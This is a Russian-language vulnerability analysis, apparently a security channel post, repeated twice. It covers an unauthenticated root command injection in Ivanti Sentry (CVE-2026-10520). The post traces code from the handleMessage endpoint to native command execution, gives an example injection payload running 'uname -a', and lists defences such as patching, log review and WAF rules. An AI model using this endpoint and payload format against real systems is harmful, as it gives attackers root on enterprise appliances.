Ivanti Sentry RCE
CVE-2026-10520 — уязвимость внедрения команд операционной системы в Ivanti Sentry до версий R10.5.2, R10.6.2 и R10.7.1 позволяет удаленному неаутентифицированному пользователю выполнить удаленный код с правами root.
🫡 Метрики
🫡 Об уязвимости
Конечная точка: /mics/api/v2/sentry/mics-config/handleMessage
Ввод пользователя передается в переменной message POST-запроса. Она попадает в метод handleMessage() класса ConfigServiceHandler.java, где разбивается на токены. Первое слово становится command, последующие — module, xpath, value.
StringTokenizer tokenizer = new StringTokenizer(msg);
if (tokenizer.hasMoreTokens()) {
command = tokenizer.nextToken();
}
if (tokenizer.hasMoreTokens()) {
module = tokenizer.nextToken();
}
if (tokenizer.hasMoreTokens()) {
xpath = tokenizer.nextToken();
}
….
while (tokenizer.hasMoreTokens()) {
sb.append(tokenizer.nextToken()).append(" ");
}
value = sb.toString().trim()
…
response = this.handleMessage(module, xpath, command, value);
Далее в handlerMessage() в зависимости от command выбирается какой путь обработки использовать.
switch (ConfigCommand.getCommand(command)) {
…
case EXECUTE:
response = reqProcessor.handleExecute(xpath, value);
break;
…
return response;
}
Если command равна execute, выполнение переходит в ветку EXECUTE. Есть и другие ветки: TEST, GETLIST.
Метод handleExecute(xpath, value) в конечном итоге передает данные, которые контролирует пользователь (из message), в функцию executeNativeCommand().
…
XmlObject[] tmpObjList = this.getXmlObjectsForXPath(xpath, value);
…
Object nativeResp = CommonUtilities.executeNativeCommand(this.handler.getNativeModule(), tmpObjType, "Execute");
executeNativeCommand() Читает из XML имя класса и имя метода через getClassname() и getExecutemethod()
Выполняет код через excuteModuleMethod()
String implClsName = obj.getClass().getName();
String methodType = "get" + type + "method";
Method method = ReflectionUtilities.getMethod(implClsName, methodType);
XmlAnySimpleType getMethodName = (XmlAnySimpleType)ReflectionUtilities.executeMethod(method, obj, new Object[0]);
method = ReflectionUtilities.getMethod(implClsName, "getClassname");
XmlAnySimpleType className = (XmlAnySimpleType)ReflectionUtilities.executeMethod(method, obj, new Object[0]);
method = ReflectionUtilities.getMethod(implClsName, "getBeanclass");
XmlAnySimpleType beanClass = (XmlAnySimpleType)ReflectionUtilities.executeMethod(method, obj, new Object[0]);
Object excuteModuleMethod = ReflectionUtilities.excuteModuleMethod(
className.getStringValue(), getMethodName.getStringValue(), beanClass.getStringValue(), obj
)
🫡 Результат
Эта функция выполняет полученную строку как команду в оболочке операционной системы с максимальными привилегиями (root)
🫡 Пример
execute system /configuration/system/commandexec 1uname -a
execute — command
system — module
/configuration/system/commandexec — xpath
Оставшаяся часть — value, пример запроса на скриншоте.
🫡 Как защищаться
1) Обновиться.
2) Проверит логи сервера на POST-запросы к /mics/api/v2/sentry/mics-config/handleMessage.
3) Правила WAF/IDS на блокировку POST-запросов к /mics/api/v2/sentry/mics-config/handleMessage где в параметре message приедается строка execute, , system и тд.
CVE-2026-10520 — уязвимость внедрения команд операционной системы в Ivanti Sentry до версий R10.5.2, R10.6.2 и R10.7.1 позволяет удаленному неаутентифицированному пользователю выполнить удаленный код с правами root.
🫡 Метрики
Base Score: 10.0 CRITICAL
CWE: CWE-78
🫡 Об уязвимости
Конечная точка: /mics/api/v2/sentry/mics-config/handleMessage
Ввод пользователя передается в переменной message POST-запроса. Она попадает в метод handleMessage() класса ConfigServiceHandler.java, где разбивается на токены. Первое слово становится command, последующие — module, xpath, value.
StringTokenizer tokenizer = new StringTokenizer(msg);
if (tokenizer.hasMoreTokens()) {
command = tokenizer.nextToken();
}
if (tokenizer.hasMoreTokens()) {
module = tokenizer.nextToken();
}
if (tokenizer.hasMoreTokens()) {
xpath = tokenizer.nextToken();
}
….
while (tokenizer.hasMoreTokens()) {
sb.append(tokenizer.nextToken()).append(" ");
}
value = sb.toString().trim()
…
response = this.handleMessage(module, xpath, command, value);
Далее в handlerMessage() в зависимости от command выбирается какой путь обработки использовать.
switch (ConfigCommand.getCommand(command)) {
…
case EXECUTE:
response = reqProcessor.handleExecute(xpath, value);
break;
…
return response;
}
Если command равна execute, выполнение переходит в ветку EXECUTE. Есть и другие ветки: TEST, GETLIST.
Метод handleExecute(xpath, value) в конечном итоге передает данные, которые контролирует пользователь (из message), в функцию executeNativeCommand().
…
XmlObject[] tmpObjList = this.getXmlObjectsForXPath(xpath, value);
…
Object nativeResp = CommonUtilities.executeNativeCommand(this.handler.getNativeModule(), tmpObjType, "Execute");
executeNativeCommand() Читает из XML имя класса и имя метода через getClassname() и getExecutemethod()
Выполняет код через excuteModuleMethod()
String implClsName = obj.getClass().getName();
String methodType = "get" + type + "method";
Method method = ReflectionUtilities.getMethod(implClsName, methodType);
XmlAnySimpleType getMethodName = (XmlAnySimpleType)ReflectionUtilities.executeMethod(method, obj, new Object[0]);
method = ReflectionUtilities.getMethod(implClsName, "getClassname");
XmlAnySimpleType className = (XmlAnySimpleType)ReflectionUtilities.executeMethod(method, obj, new Object[0]);
method = ReflectionUtilities.getMethod(implClsName, "getBeanclass");
XmlAnySimpleType beanClass = (XmlAnySimpleType)ReflectionUtilities.executeMethod(method, obj, new Object[0]);
Object excuteModuleMethod = ReflectionUtilities.excuteModuleMethod(
className.getStringValue(), getMethodName.getStringValue(), beanClass.getStringValue(), obj
)
🫡 Результат
Эта функция выполняет полученную строку как команду в оболочке операционной системы с максимальными привилегиями (root)
🫡 Пример
execute system /configuration/system/commandexec 1uname -a
execute — command
system — module
/configuration/system/commandexec — xpath
Оставшаяся часть — value, пример запроса на скриншоте.
🫡 Как защищаться
1) Обновиться.
2) Проверит логи сервера на POST-запросы к /mics/api/v2/sentry/mics-config/handleMessage.
3) Правила WAF/IDS на блокировку POST-запросов к /mics/api/v2/sentry/mics-config/handleMessage где в параметре message приедается строка execute, , system и тд.